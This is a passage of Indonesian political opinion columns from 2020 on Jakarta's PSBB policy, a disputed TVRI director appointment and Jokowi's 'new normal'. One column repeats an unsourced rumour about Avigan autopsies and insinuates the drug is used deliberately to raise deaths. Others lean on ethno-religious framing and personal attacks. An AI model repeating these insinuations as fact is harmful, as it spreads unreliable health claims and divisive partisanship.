homepay pegawai kementerian yang tidak dipotong. Emang nggak dipotong? Jangan nyindir ah. Tidak hanya soal bagaimana mengamankan bansos. Anies juga keluarkan Pergub No 47 terkait kebijakan PSBB. Mewajibkan kepada siapapun yang keluar masuk DKI untuk mengurus SIKM. Diantaranya rapid test. Untuk apa? Memastikan bahwa warga DKI yang selama ini "stay at home" tidak tertular oleh hilir mudik para pemudik. Anies tak ingin khianati warga DKI yang 60 persen mengkarantina diri di rumah. Tak ingin khianati warga yang nahan diri untuk tidak shalat jumatan, dan mengosongkan tempat ibadah untuk sementara waktu. Tidak mau khianati pedagang Tanah Abang, Tamrin City, dan pemilik mall yang tutup. Karena itu, siapapun tanpa kecuali, masuk Jakarta harus ada SIKM. Lalu lalang di Jakarta harus pakai masker. Kalau gak? Denda 250 ribu. Kurang tegas? Untuk tegas, nggak perlu gebrak meja atau caci maki bro. Lebay! Sayang mulut! Anies juga hadapi berbagai tekanan yang memintanya untuk buka mall, tempat wisata dan sarana bisnis lainnya. Tolak! Sebab, data para ahli menyimpulkan bahwa wabah belum berakhir. Bahaya! Nyawa warga DKI itu yang utama. Meski ekonomi tetap penting. Nah, untuk hadapi situasi dilematis, bahkan genting, perlu seorang pemimpin yang tidak saja bijak dan lurus, tapi berani pasang badan demi rakyatnya. Anies telah menunjukkan itu. Hasil survei, 80, 70 persen warga DKI puas dengan kinerja Anies. Beruntunglah warga DKI. Dan kebetulan, saya bukan warga DKI. Apa urusannya? Hehe Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Proses Seleksi Cacat Hukum, Menghasilkan Dirut TVRI Otak Mesum

By Tjahja Gunawan Jakarta FNN – Ahad (31/05). Begitu Iman Brotoseno diumumkan sebagai Direktur Utama Pengganti Antar Waktu TVRI periode 2020-2022, seketika itu pula jejak digital mantan kontributor Majalah Playboy ini dibongkar netizen. Sehingga hastag #BoikotTVRI menjadi trending topic di linimasa Twitter. Beberapa pengguna akun Twitter mempersoalkan kicauan Iman Brotoseno melalui akun tweeternya @imanbr, soal topik 'bokep' yang ditulis beberapa tahun silam. Pada saat ditetapkan sebagai Dirut TVRI tanggal 27 Mei 2020, Iman Brotoseno langsung merespons warganet yang mempersoalkan rekam jejak digitalnya. Iman mengaku tak pernah menutupi identitasnya. Iman juga mengakui rekam jejaknya di majalah dewasa Playboy Indonesia. Dia juga mengakui beberapa cuitan bernada pornografi yang diperdebatkan pengguna Twitter. Tidak hanya itu, tahun 2012, Iman Brotoseno melalui blogspotnya juga pernah menulis artikel yang menyudutkan Umat Islam dengan menyebut "Islam Sontoloyo". Tulisan beliau bisa dicek di tautan ini: http://blog.imanbrotoseno.com/lagi-islam-sontoloyo/. Hilmi Firdausi, salah satu netizen, melalui akun tweeternya @Hilmi28 menulis: Bangsa ini sedang krisis akhlak. Kita butuh pejabat-pejabat publik yang menjadi teladan untuk rakyat. Tidak adakah orang lain yang lebih pantas? Di bawah Helmi Yajya, TVRI naik daun. Jangan sampai sekarang malah ditinggal pemirsa. Apalagi sedang ramai Tahar #BoikotTVRI. Mohon para wakil rakyat bersuara. Dari sisi moral dan akhlak, perilaku Dirut TVRI yang baru ini memang bermasalah. TVRI sebagai Lembaga Penyiaran Publik (LPP), sangat berbahaya jika diurus oleh orang yang mempunyai cacat moral karena dikhawatirkan akan mempengaruhi konten dan program-program TVRI. Apalagi TVRI dan Kemendikbud belum lama ini telah menjalin kerjasama program "Belajar dari Rumah". Kerjasama ini dilakukan untuk membantu siswa yang memiliki keterbatasan akses internet karena soal ekonomi atau letak geografis. "Program Belajar dari Rumah merupakan bentuk upaya Kemendikbud membantu terselenggaranya pendidikan bagi semua kalangan masyarakat di masa darurat Covid-19," ujar Mendikbud Nadiem Makarim, pada telekonferensi Peluncuran Program Belajar dari Rumah di Jakarta, Kamis 9 April 2020. Pernyataaan tersebut, saya kutip dari Kompascom. Kekhawatiran acara TVRI akan mempengaruhi anak-anak sekolah juga diungkapkan seorang ibu rumah tangga yang juga founder dan CEO Halal Corner, Ny Aisha Maharani. Melalui akun Facebooknya dia menulis: "Kadang ada tugas sekolah anak-anak nonton TVRI bagian pendidikan. Tapi kalau dirutnya yang baru begitu, khawatir juga". Harus dibatalkan Ternyata Dirut TVRI yang baru ini bukan hanya bermasalah secara moral, tetapi juga bermasalah secara legal. Proses seleksi Dirut TVRI ini cacat hukum. Berdasarkan pengamatan di berbagai pemberitaan media, saya harus katakan bahwa proses seleksi Dirut PAW TVRI cacat hukum. Oleh karena itu penetapan dan pelantikan Iman Brotoseno sebagai Dirut PAW TVRI periode 2020-2022, harus dinyatakan tidak sah dan harus dibatalkan. Mengapa ini bisa terjadi ? Bagaimana sih sebenarnya duduk perkaranya ? Pertama, proses seleksi yang dilakukan Dewan Pengawas (Dewas) TVRI telah melanggar sejumlah peraturan perundang-undangan. Proses seleksi Dirut PAW TVRI telah menabrak Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara (ASN). Tidak hanya itu, Dewas TVRI juga dinilai telah melanggar etika komunikasi dengan DPR RI selaku mitra kerjanya. Bahkan, tanggal 13 Mei 2020 lalu, Komisi I DPR-RI sebenarnya telah mengeluarkan rekomendasi pemberhentian terhadap Ketua Dewas TVRI Arief Hidayat Thamrin sambil mengevaluasi kinerja anggota dewas TVRI lainnya. Sebelum ada surat rekomendasi pencopotan Ketua Dewas TVRI dari Komisi I DPR, rupanya Ketua Dewas sudah memberhentikan tiga Direktur TVRI. Yakni Direktur Program dan Berita TVRI Apni Jaya Putra, Direktur Keuangan TVRI Isnan Rahmanto dan Direktur Umum Tumpak Pasaribu. Seperti diberitakan portal berita Kontan, Charles Honoris, anggota Komisi I DPR dari F-PDI Perjuangan, mengatakan dengan diterbitkannya pemecatan definitif terhadap tiga direksi TVRI non-aktif, maka Dewas kembali melanggar kesimpulan rapat dengan Komisi I DPR. Dalam hal ini, kata Charles Honoris, Dewas TVRI telah melanggar UU temtang MPR, DPR, DPD dan DPRD (MD3) dan melecehkan DPR sebagai lembaga perwakilan rakyat. Hal senada disampaikan Ketua Komite Penyelemat TVRI, Agil Samal. "Sikap (Dewas TVRI) ini dapat diartikan telah melecehkan lembaga legislasi yang selama ini menaungi dan memilih dewan pengawas," kata Agil dalam keterangan tertulisnya, Selasa (26/5). Kontroversi seleksi Dirut PAW TVRI ini mengundang rasa penasaran saya untuk mencari tahu lebih jauh kepada bekas rekan kerja saya di Harian Kompas, yakni Buyung Wijaya Kusuma atau biasa dipanggil Boy, yang kini menjadi Pemimpin Redaksi Tawaf TV. Dia lolos sampai delapan besar. "Sebenarnya proses seleksi calon Dirut TVRI tidak melibatkan DPR," kata Boy. Proses seleksi di delapan besar, juga melibatkan Lembaga Psikologi Terapan (LPT) Universitas Indonesia di Jl. Salemba No 5, Kenari, Jakarta Pusat. LPT UI ini yang menyelenggarakan assessment test terhadap para calon Dirut TVRI. Untuk menangani TVRI, lanjut Boy, harus dilakukan oleh orang-orang yang pernah bekerja di televisi. "Bagaimana mungkin bisa memilih orang (Dirut TVRI) tapi dia tidak pernah bekerja di tv," katanya seraya menambahkan proses seleksi tiga besar calon Dirut TVRI langsung dilakukan oleh Dewas TVRI. Tomy Mundur Sementara itu bekas rekan kerja saya sekaligus mantan Pemred Harian Kompas, Suryopratomo yang biasa dipanggil Tomy, mengundurkan diri dari pencalonan seleksi Dirut TVRI karena diterpa isu politik. Hal itu terkait dengan posisinya sekarang sebagai Direktur Utama Metro TV. Begitu lolos 16 besar, Tommy mengundurkan diri karena takut menganggu kinerja TVRI dengan isu yang beredar di masyarakat terkait dengan jabatannya saat ini sebagai pemimpin di saluran TV besutan Ketua Umum Nasdem Surya Paloh. "Maka saya memutuskan untuk mengundurkan diri dari pemilihan calon Direktur Utama LPP TVRI pengganti antar waktu periode 2020-2022," ujar Tommy dalam suratnya sebagaimana dikutip Kompascom. Namun tidak berapa lama kemudian, Tomy justru diajukan oleh Presiden Jokowi sebagai calon Dubes RI untuk Singapura. Kalau nanti DPR menyetujui, tentu saja posisi Dubes lebih tinggi dari Dirut TVRI. Menurut saya, posisi Dirut TVRI maupun jabatan sebagai Dubes merupakan jabatan politis. Hanya saja, proses seleksi dan pengangkatan Iman Brotoseno sebagai Dirut PAW TVRI mengandung banyak kontroversi dan memiliki cacat moral maupun yuridis. Menurut Boy, proses seleksi Dirut PAW TVRI sempat dihentikan Komisi 1 DPR. "Setelah Tomy mengundurkan diri, katanya akan ada pendaftaran baru, tapi ternyata tidak pernah ada," ujar Boy. Yang menjadi pertanyaan kemudian, Dewas TVRI terkesan seperti kumpulan dari orang-orang yang "kebal hukum" sehingga aturan yang ada bisa dilabrak. Sementara hubungan kemitraan dengan Komisi I DPR juga tidak diindahkan Dewas TVRI. Apakah ada becking "orang kuat" dibalik lembaga Dewas TVRI ini ? Mari kita telusuri sosok Ketua Dewas TVRI yang bernama Arief Hidayat Thamrin yang sebelumnya telah memecat Helmy Yahya sebagai Dirut TVRI. Berdasarkan informasi yang didapat dari profil LinkedIn pribadinya, Arief telah menjadi Ketua Dewas TVRI sejak Juli 2017 hingga sekarang ini. Jauh sebelum berkarier di TVRI, pria lulusan UI itu meniti karier sebagai General Manager (GM) Marketing di Metro TV selama 13 tahun, tepatnya pada Juli 2001 hingga Juni 2013. Arief juga pernah menjadi Business Development Director di Berita Satu Media Holdings selama dua tahun, Juli 2013-Januari 2015. Lalu, masih di posisi jabatan yang sama, ia berkarier di iNewsTV selama dua tahun, Februari 2015 hingga Mei 2017 dan terakhir berlabuh di TVRI. Pertikaian Helmy Yahya dengan Arief Hidayat ini sebelumnya telah mendapat perhatian dari Menteri Komunikasi dan Informatika, Johny G. Plate. Sebagaimana diberitakan Warta Ekonomi tanggal 9 Desember 2019, Menkominfo Johny Plate mengatakan, permasalahan antara Helmy denga Arief Hidayat sudah berlangsung lama. Namun, waktu itu Plate menolak untuk menyebutkan secara rinci. Namun di luar itu, suatu waktu Arief Hidayat Thamrin juga pernah mengunggah foto dirinya sedang membawa maf berlogo TVRI bersama Menko Maritim dan Investasi Luhut Binsar Panjaitan di IG pribadinya, arief.thamrin. Kemudian sahabat saya, Muhammad Ali Syawie yang pernah bekerja bersama Arief Hidayat di Berita Satu, berkomentar setengah berseloroh: "Wah, Mas @arief.thamrin TVRI sekarang dibawah Menteri Segala Urusan yah ?". Ah, sungguh komentar dan pertanyaan yang nakal nih. Tapi apakah karena itu lalu Dewas TVRI menjadi "kebal hukum" dan bisa memecat Dirut TVRI Helmy Yahya seenaknya? Kemudian menyelenggarakan proses seleksi Dirut PAW TVRI yang penuh kontroversi ? Wallohualam Bhisawab. Penulis adalah Wartawan Senior

Presiden Bikin "New Normal", Rakyat Malah Rindu "Old Normal"

Oleh Mochamad Toha Jakarta, FNN - Contoh "tidak sehat" ditunjukkan Presiden Joko Widodo yang akrab dipanggil Jokowi saat datang ke Pusat Perbelanjaan Summarecon Mall Bekasi, Selasa (26 Mei 2020 | 16:17 WIB). Entah lupa atau tidak, Presiden Jokowi memasang masker tidak pada tempatnya. Masker terletak di bawah dagunya tanpa menutup mulut dan hidungnya. Sementara Gubernur Jawa Barat Ridwan Kamil dan beberapa pendampingnya, memasang masker pada tempatnya. Memakai masker ala Presiden Jokowi inikah New Normal tersebut? Padahal, dalam banyak kesempatan, Presiden Jokowi selalu menginstruksikan supaya semua orang yang keluar rumah wajib pakai masker, seperti dikutip Kompas.com, Senin (6 April 2020). Ironis bukan? Sebuah contoh yang tidak boleh ditiru rakyat! Yang dikhawatirkan jika foto pakai masker ala Presiden Jokowi ini disimpan di HP rakyat. Dan bisa dijadikan “foto sakti” jika ada pelanggar PSBB yang tak pakai masker di jalanan. Rakyat tinggal bilang, “Pak Presiden saja pake maskernya seperti ini!” Memangnya Kapolri Jenderal Idham Azis bisa seperti anggota Polri yang bertugas di Check Point? Begitu pula Mendagri Tito Karnavian berani “pukul-tendang” seperti perlakuan Satpol PP pada Habib Umar bin Abdullah bin Sholeh Assegaf di Check Point Pintu Tol Satelit Surabaya? Tentu tak bisa, bukan? Terus rakyat harus lapor pada siapa? Ketua MPR Bambang Soesatyo, yang harus tegur Presiden Jokowi? Kalau dijawab, “La sampean sendiri kemarin saat konser juga melanggar Social Distancing dengan foto bersama artis gimana?” Tampaknya Presiden Jokowi ingin segera menuju “Tatanan Kenormalan Baru” meski masih dalam masa Pembatasan Sosial Berskala Besar (PSBB) ketika pandemik Virus Corona/Covid-19 yang belum berakhir di sebagian wilayah Jawa Barat itu. Itulah fakta sosial yang kasat mata dan tidak bisa ditutup-tutupi lagi. Rencana pemerintahan Presiden Jokowi untuk menerapkan protokol New Normal pada masa pandemik Covid-19 ini diperkirakan tidak akan berjalan mulus. Aktivis Haris Rusly Moti menyebut, Jokowi saat ini memiliki masalah besar: Kepercayaan rakyat untuk kepemimpinannya tak lagi utuh. “Masalah yang dihadapi Presiden Jokowi ini adalah tak adanya Trust and Believe,” ujar Moti di akun Twitternya, Selasa (26/5/2020). Melansir PojokSatu.id, Selasa (26 Mei 2020 | 16:17 WIB) Moti mengingatkan, tidak sedikit rakyat yang mengabaikan imbauan pemerintah. Bahkan, pemerintah kali ini dipandang gagal menghadapi situasi darurat Covid-19. Lebih parahnya lagi, seiring akan diterapkannya protokol New Normal, belakangan muncul gerakan I Miss Old Normal atau merindukan normal yang lama. “Orang-orang udeh kagak percaya lagi sama omongan Presidennya,” kata dia. “(Rakyat) tak yakin Joko Widodo bisa pimpin situasi darurat. Presiden suruh new normal, kenyataannya rakyat malah bikin old normal,” pungkasnya. Saat kedatangan Presiden Jokowi ke Summarecon Mall Bekasi itu, warga rela mengantri agar bisa masuk ke dalam mal. Kedatangan Presiden Jokowi ini untuk meninjau ekonomi Kota Bekasi usai PSBB dilakukan dalam tiga tahap. Di dalam mal, warga hanya bisa melihat beberapa tenant yang dibuka. Diantaranya, toko farmasi, makanan dan furniture. Meski begitu, pihak pengelola tetap mengedepankan protap kesehatan bagi pengunjung yang datang. Di pintu lobby warga di cek suhu tubuh, dan diminta memakai masker serta menjaga jarak. Menurut President Director PT Summarecon Agung Tbk, Adrianto P. Adhi, Presiden hanya meninjau persiapan new normal, bukan kembali membuka Summarecon Mall Bekasi. Tidak hanya di Kota Bekasi. Di Kota Surabaya, Sidoarjo, maupun Gresik yang mulai masuk PSBB ke-3 pun rakyat yang ingin belanja di mal-mal juga banyak. Tidak semua mematuhi protokol kesehatan yang diatur Pemerintah. Bahkan, sudah ada yang menentang pemberlakukan PSBB ke-3 ini di Surabaya. Seperti yang dilakukan oleh Paguyuban Arek Surabaya (PAS). Pada Rabu (27/5/2020) mereka mendatangi DPRD Surabaya untuk melakukan aksi penolakan PSBB ke-3. Puluhan warga Surabaya yang tergabung dalam PAS menolak diterapkannya PSBB ke-3di Surabaya. “PSBB terbukti gagal meredam penyebaran Covid-19. PSBB ke-1 hingga ke-3 mematikan sandang pangan warga Surabaya,” kata Advokat M. Sholeh. Menurut Sholeh, aksi orasi ini merupakan bentuk tekanan agar Gubernur Jatim Khofifah Indar Parawansa segera mencabut pemberlakuan PSBB ke-3 ini. “Aksi ini merupakan uneg-uneg warga terdampak atas penerapan PSBB sejak awal,” katanya saat orasi. ‘ “Kami berharap anggota dewan segera mendukung pencabutan PSBB tersebut. Kami minta pemerintah segera diberlakukan new normal sesuai anjuran Presiden, tapi tetap menjalankan protokol kesehatan,” terangnya. Sementara itu perwakilan pedagang Sentra Wisata Kuliner Jalan Arif Rahman Hakim-Andi Setiawan mengatakan, bahwa selama penerapan PSBB sangat berdampak bagi pedagang Surabaya. “Selama PSBB kami merasakan sangat sepi sekali dan sengsara. Bahkan, selama berdagang di sana tidak pernah dapat pembeli. Apalagi pemerintah saat ini justru memperpanjang lagi pelaksanaan PSBB,” ungkapnya. “Jika PSBB ini tetap diteruskan kami bisa mati bukan karena virus, tapi mati kelaparan. Kami minta tolong kepada dewan selaku wakil rakyat agar PSBB ini dihentikan sekarang,” lanjut Andi Setiawan. Ironisnya, menurut Andi Setiawan, sejak penerapan PSBB, “pedagang belum ada sama sekali bantuan sosial, baik dari kampung maupun dari dinas Koperasi juga tidak dapat,” tegasnya di hadapan awak media. Menanggapi keluhan warga kota Surabaya ini, Ketua DPRD Kota Surabaya Adi Sutarwijono mengatakan, pihaknya segera menindaklanjuti aspirasi yang disampaikan elemen masyarakat Surabaya melalui alat kelengkapan di Komisi-komisi DPRD Surabaya. “DPRD Surabaya selama ini tidak berdiam diri. Kami terus melakukan rapat-rapat secara virtual dengan pihak terkait bersama Pemkot Surabaya untuk mencari jalan tengah atas problem yang timbul di masyarakat pada penerapan PSBB tersebut,” jelasnya. Ketua DPC PDIP yang akrab dipanggil Cak Awi itu menjelaskan, prinsip PSBB itu ditempuh Pemkot Surabaya untuk menjaga dan menyelamatkan warga Surabaya. Penerapan PSBB ini supaya bisa memutus sebaran virus corona pada warga Surabaya. Perlu diketahui, sebanyak 65 persen pasien Covid-19 di wilayah Jatim berasal dari Surabaya,. Kabupaten Sidoarjo, dan Kabupaten Gresik. Menurut Ketua Rumpun Kuratif Gugus Tugas Percepatan Penanganan Covid-19 Jatim, Joni Wahyuhadi kenyataan tersebut tidak bisa dianggap sepele. Surabaya, katanya, bisa menjadi seperti Kota Wuhan di China. “Ini tidak main-main, kalau kita tidak hati-hati maka Surabaya bisa jadi Wuhan,” kata Joni di Surabaya, Rabu (27/5/2020). Saat ini Rate of Transmission (tingkat penularan) Covid-19 di Surabaya masih 1,6. “Rate of transmission Covid-19 di Surabaya masih 1,6. Artinya ketika ada 10 orang (positif Covid-19) dalam satu Minggu jadi 16 orang,” lanjut Joni, seperti dilansir Republika.co.id, Kamis (28 May 2020 09:13 WIB). Sedangkan untuk menurunkan Case Fatality Rate (CFR) atau tingkat kematian, pihaknya juga melakukan clinical research mulai penggunaan Avigan, Terapi Plasma Convalescent, ataupun Aspirin. Menteri Kesehatan Terawan Agus Putranto pun telah pula memerintahkan kepadanya untuk menggunakan obat tertentu seperti pemakaian aspirin. “Semuanya kita coba dengan kaidah kesehatan tertentu,” kata Joni. Presiden Jokowi pun telah memberi perhatian khusus terkait melonjaknya kasus Corona di Jatim. Presiden ingin agar melakukan pelacakan dan pemeriksaan terhadap ODP dan PDP. Jokowi juga meminta agar persiapan rumah sakit rujukan dan darurat ditingkatkan. Jokowi mengaku belum akan menerapkan new normal di daerah dengan tingkat penyebaran tinggi. Bahaya Avigan Kabarnya, dua ahli forensik dari China telah melakukan otopsi terhadap penderita covid, dan diberikan obat kimia (Avigan) yang seperti dibeli pemerintah itu. Hasilnya, terjadi kerusakan organ-organ tubuhnya yang mengerikan. Melansir Liputan6.com, Jum’at (20 Mar 2020, 20:48 WIB) Presiden Jokowi memesan jutaan obat yang disebut bisa menyembuhkan pasien virus Corona. Obat itu adalah Avigan, yang memiliki nama lain Favipiravir. Berbeda dengan Indonesia, Korea Selatan memutuskan untuk tidak menggunakan Avigan sebagai pengobatan virus Corona jenis baru karena keraguan atas kemanjuran dan efek samping potensialnya. Kementerian Keamanan Pangan dan Obat-obatan Korsel mengatakan, telah memutuskan untuk tidak mengimpor Avigan setelah tim ahli penyakit menular di sini memutuskan tidak ada cukup data klinis untuk membuktikan kemanjuran obat tersebut. Mengutip kantor berita Yonhap, Jumat (20/3/2020), Avigan disetujui sebagai obat cadangan untuk influenza reemergent di Jepang pada 2014. Tapi itu belum digunakan untuk mengobati flu biasa karena beberapa penelitian pada hewan menunjukkan potensi kerusakan janin. “Avigan tidak hanya menunjukkan kemanjuran selama studi uji tetapi juga tidak ada data uji klinis yang dilakukan pada pasien,” kata ahli penyakit menular Oh Myoung-don. Obat ini juga menunjukkan efek samping serius: kematian janin dalam penelitian pada hewan. Maka, perlu dipertanyakan lagi, mengapa untuk menurunkan Case Fatality Rate (CFR) atau tingkat kematian di Surabaya, pihak Gugus Tugas Percepatan Penanganan Covid-19 Jatim melakukan clinical research mulai penggunaan Avigan? Apakah “sengaja” digunakan untuk menaikkan tingkat kematian di Surabaya sehingga seperti yang terjadi di Wuhan? Penulis Wartawan Senior.

Menatap Masa Depan Bangsa "Era New Normal"

Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Benjamin Netanyahu dan Benny Gantz telah menandatangani perdamaian pada 20 April lalu untuk membagi kekuasaan. Permusuhan mereka selama belasan tahun sirna. Sebagai Yahudi, mereka mungkin adalah orang yang paling keras kepala di dunia ini. Namun, Coronavirus membuat mereka mengerti bahwa persatuan bangsa Yahudi di atas segalanya. Itu di belahan dunia Timur Tengah. Di kawasan Asia Selatan/Asia Pusat, Ashraf Gani, Presiden Afghanistan, melepas 900 tahanan Taliban. Ini bagian dari pelepasan 100.000 tahanan Taliban. Musuh berbuyutan puluhan tahun. Bahkan Taliban suatu waktu dalam sejarah adalah tempat bermukimnya Al Qaeda, organisasi yang ditudih teroris terbesar di dunia.Permusuhan rezim non Taliban vs Taliban segera berkahir. Itu hikmah Coronavirus. Di balik hikmah Coronavirus, peran Amerika dalam "setting" latar pada politik mereka cukup kuat. Di mana ada Amerika berpengaruh, kelihatannya tema perdamaian dalam masa pandemik ini terjadi. Sebalinya, di negara-negara yang besar pengaruh RRC China di dalamnya, pergolakan dan permusuhan tetap berlangsung. Masa pandemik Coronavirus tidak membuat refleksi adanya kepentingan bersama yang lebih besar. Ketegangan sosial politik di Malaysia dan Indonesia, sebagaimana kita fahami cenderung terpengaruhi RRC selama ini, tetap panas dan tak kunjung mengakhiri ketegagan sosialnya. Apalagi di Hongkong, Taiwan, Tibet, di mana China dominan, kekerasan dan kerusuhan terus berlangsung. Ketegangan sosial di Indonesia selama ini berlangsung sejak Jokowi "running for President", lebih tepat lagi saat maju menjadi gubernur Jakarta. Pembelahan sosial terjadi antara kaum sekuler vs. Islami. Kaum sekuler mencoba mendegradasi kenyamanan konsep mayoritas-minoritas yang selama ini berlangsung. Di mana, mayoritas dianggap melindungi dan minoritas menghormati. Pendegradasian dilakukan dengan konsep baru "Multi-Minoritas", di mana, menurutnya, bangsa ini sebenarnya merupakan fenomena persatuan minoritas, jika kita bedah lebih dalam. Konsep Indonesia asli ataupun pribumi hanyalah imaginasi pendiri bangsa, sebab menurut mereka, pada dasarnya semua orang Indonesia adalah pendatang dari China Selatan. Sehingga, eksistensi pasal 6 UUD45 asli, bahwa Presiden wajib orang Indonesia asli, tidak diperlukan lagi. Orang setengah Indonesia maupun orang seluruhnya bukan pribumi, seperti Ahok, misalnya, berhak untuk jadi Presiden. Tentu saja reaksi datang dari ummat Islam. Singkat cerita, ummat Islam yang selama ini nyaman dengan pola lama merasa terganggu. Terutama ketika Ahok menggantikan Jokowi sebagai Gubernur Jakarta, beberapa simbol2 keislaman daan tradisinya mengalami marginalisasi. Dan reaksi ini bermuara pada gerakan perlawanan ummat Islam, yang dikenal sebagai gerakan 212, dengan Habib Rizieq sebagai simbol perlawanannya. Pertarungan Segitiga Ketika pertama sekali kasus Covid-19 mendapat perhatian besar masyarakat, Jokowi dan rezimnya berusaha mengangkat isu kepulangan eks ISIS dan keluarganya sebagai isu tandingan. "Apakah anda setuju jika pemerintah mengizinkan anak-anak ISIS pulang ke Indonesia? ", demikian berbagai media mainstream. Pengembangan isu teroris ini agak ganjil, sebab masa pandemik di seluruh dunia isu terorisme menjadi sirna. Berbagai gerakan "social distancing", "physical Distancing" dan "#StayHome" membuat transportasi dan mobilitas manusia terhenti, termasuk teroris dan kriminal, khususnya di masa awal pandemik. Selain itu, di Jakarta, Rezim Jokowi memperlihatkan kebijakan yang selalu berseberangan dengan Anies Baswedan. Sebagaimana kita ketahui, Jakarta adalah epicenter coronavirus di Indonesia. Anies berusaha bekerja keras sesuai standar WHO dan ahli epidemiologi. Namun, sebagai mana diberitakan dalam media Australia, Sidney Morning Herald, rencana Anies untuk menerapkan transparansi soal covid-19 ini terhalangi sikap rezim Jokowi yang ingin terus menutupi adanya virus ditahap awal, setidaknya bulan Januari-Februari. Standar umum internasional yang diinginkan Anies adalah segera memakai masker, memperbanyak lab-lab pemeriksaan Covid-19, meliburkan sekolah, menutup mal, menghentikan/membatasi transportasi massal, mengerahkan seluruh tentara dan polisi untuk mendisiplikan warga, ditahap awal, dll. Pertarungan keinginan Anies ini berakhir dengan kompromi PSBB, yakni menyatakan Covid-19 sebagai Bencana Nasional Sektor Kesehatan, di mana tanggung jawab utama dibebankan kepada kepala daerah, sedangkan ijin dilakukan Menteri Kesehatan. Beban yang dimaksud adalah kemampuan anggaran daerah memberi bansos sebagai faktor penting persetujuan PSBB. Sedangkan rezim Jokowi ditahap awal tetap menganggap ini bukan persoalan besar. Rakyat tidak perlu pake masker. Tidak perlu "panic buying", bahkan Jokowi pada tanggal 12 Februri 2020, menelepon dan menawarkan bantuan kepada Xi Jinping untuk Indonesia ikut memerangi coronavirus di China. Penyepeleaan ini, dalam istilah Jusuf Kalla, kehilangan "Golden Time". Pertentangan di tingkat narasi dan kebijakan serta implementasi yang terjadi antara rezim Jokowi vs Anies, yang mana Anies dianggap representasi kaum Islam, membuat gerakan pertentangan diakar rumput, khususnya di media sosial, mempertahankan situasi keterbelahan bangsa yang sudah berlangsung lebih 5 tahun belakangan ini. Ditambah lagi seperti kasus kriminalisasi yang diarahkan pada pengkritik rezim Jokowi, seperti yang dialami M. Said Sidu dalam kebijakan immigran China ditengah pandmeik serta pengiriman Habib Bahar Bin Smith ke penjara Nusakambangan karena orasi politiknya yang anti kekuasaan, dan berbagai kasus anti demokrasi rezim Jokowi yang terus berlanjut. Alhasil pertarungan di Indonesia saat ini berlangsung dalam skema pertarungan segitiga, yakni Rezim Jokowi - Kaum Oposisi - Covid-19. Jadi satu pihak merasa harus memusuhi dua pihak lainnya. Era New Normal Jokowi kemarin sudah mencanangkan akan membuka ratusan mal pada bulan Juni. Secara simbolik Jokowi mendatangi Mal Sumarecon di Bekasi. Secara bersamaan Jokowi memerintahkan 340.000 tentara dan polisi melakukan disiplin warga ke depan, ketika aktifitas perekonomian dimulai lagi. Kebijakan Jokowi ini dilakukan dengan sebelumnya Jokowi mengumumkan bahwa kita harus berdamai dengan covid-19. Namun, Jokowi belum melakukan evaluasi tentang keberhasilan PSBB. Hal ini dibuktikan dengan sikap Anies Baswedan dan Walikota Bekasi yang tidak menyetujui langkah Jokowi akan membuka mal diwilayah kekuasaan mereka. Sebagai perbandingan, Gubernur New York dalam rangka memasuki New Normal, membentuk sebuah dewan ahli yang disebut "The New York Forward Reopening Advisory Board" yang berisi para pengusaha, para ahli, dan tokoh2 masyarakat. Selain itu dia, dibidang pendidikan, juga membuat "New York’s Reimagine Education Advisory Council", yang berisikan tokoh2 pendidikan, orang tua dan para ahli. Jadi kolaborasi negara dengan "civil society" menjadi kunci kapan New Normal ditentukan dan bagaimana menjalaninya. New Normal di negara2 lain umumnya dianggap sebagai masa kehidupan baru setelah "flaten the curve" atau kurva kasus baru sudah menurun. Di Wuhan China, di Lombardi Italia, di Prancis, di Malaysia, di Singapura dlsb, pengendalian disiplin masyarakat melalui tentara dan polisi dalam skala nasional berhasil menekan laju penyebaran virus tersebut. Disamping kesiapan mereka melakukan pembenahan manajemen rumah sakit, keterbukaan informasi penyebaran pandemik dan kesiapan dana untuk kesehatan dan pangan. Istilah New Normal tanpa "flaten the Curve" mungkin hanya ada di Indonesia, sebagaimana kita ketahui penyebaran virus bahkan sudah menjadikan Surabaya dan Jawa Timur sebagai epicenter baru, menggantikan Jakarta. Dengan demikian maka coronavirus sebagai bencana nasional akan tetap hidup sepanjang penemuan vaccine covid-19 ini tidak ada. Sedikitnya berbagai ahli pesimis produksi massal vaccine itu terjadi hingga akhir tahun 2021. Tantangan Ekonomi Dampak ekonomi coronavirus ini telah kita rasakan bersama. Klaim negara besar selama ini, yang coba menawarkan RRC bantuan penanganan covid-19, sirna. Realitasnya adalah ketidakmampuan negara bertanggung jawab meredakan beban ekonomi masyarakat ditengah pandemi. Sejak diumumkannya kasus Covid-19 pertama, pada 2 Maret, terlihat kapasitas pemerintah hingga saat ini, dua bulanan, tidak berdaya lagi. Di New York, Gubernur Cuomo jujur mengatakan bahwa State of New York sudah kehabisan uang. Sudah tidak berdaya dan membutuhkan bantuan donasi atau sumbangan masyarakat. Padahal APBD New York 177 milyar dollar lebih besar dari APBN se Indonesia. Hancurnya sebuah negara adalah keniscayaan. Semua negara-negara di dunia runtuh. Mal mal, misalkan, tidak mampu bayar cicilan kredit dan bunganya ke bank, sebab penyewa mal tidak punya kas lagi karena tidak ada yang belanja. Bank-bank kesulitan uang untuk membayar tarikan nasabah karena peminjam uang bank mulai pada menunggak. Alhasil Bank Indonesia mengurangi 50% Giro Wajib Minimum Bank-Bank agar bank bisa hidup. Namun sampai kapan Bank Central, Bank-bank, Mal-mal, pabrik-pabrik, dlsb tidak bangkrut? Bank-bank dan korporasi yang mengalami kesulitan likuiditas maupun kehancuran bisnis secara keseluruhan tidak mungkin membayar pajak. Sehingga penerimaan pajak negara akan berkurang drastis dalam porsentase dominan. Dalam berbagai krisis sebelumnya, sebuah proyeksi "cashflow" negara dapat dilakukan, karena krisis yang terjadi bersifat regional dan sektor keuangan/moneter. Sedangkan krisis ditengah wabah, membuat selalu situasi ketidak pastian, sehingga proyeksi sulit dilakukan. Sementara beban negara untuk belanja anggaran tentara, polisi dan pegawainya tetap besar. Begitu juga anggaran sektor kesehatan dan pangan. Wabah ini sendiri memukul semua negara, khususnya negara kaya, sehingga mengharapkan bantuan pembiayaan dari negara kaya sulit dilakukan. Bagaimana bantuan lembaga multilateral seperti IMF? Selain 160 negara berharap meminjam pada IMF, 10 negara kontributor utama IMF saat ini mengalami resesi dan membutuhkan uang juga. Sehingga, sulit sekali mengobral surat hutang negara ke lembaga keuangan dunia. Negara- negara kaya seperti Amerika bisa mencetak uang dollar 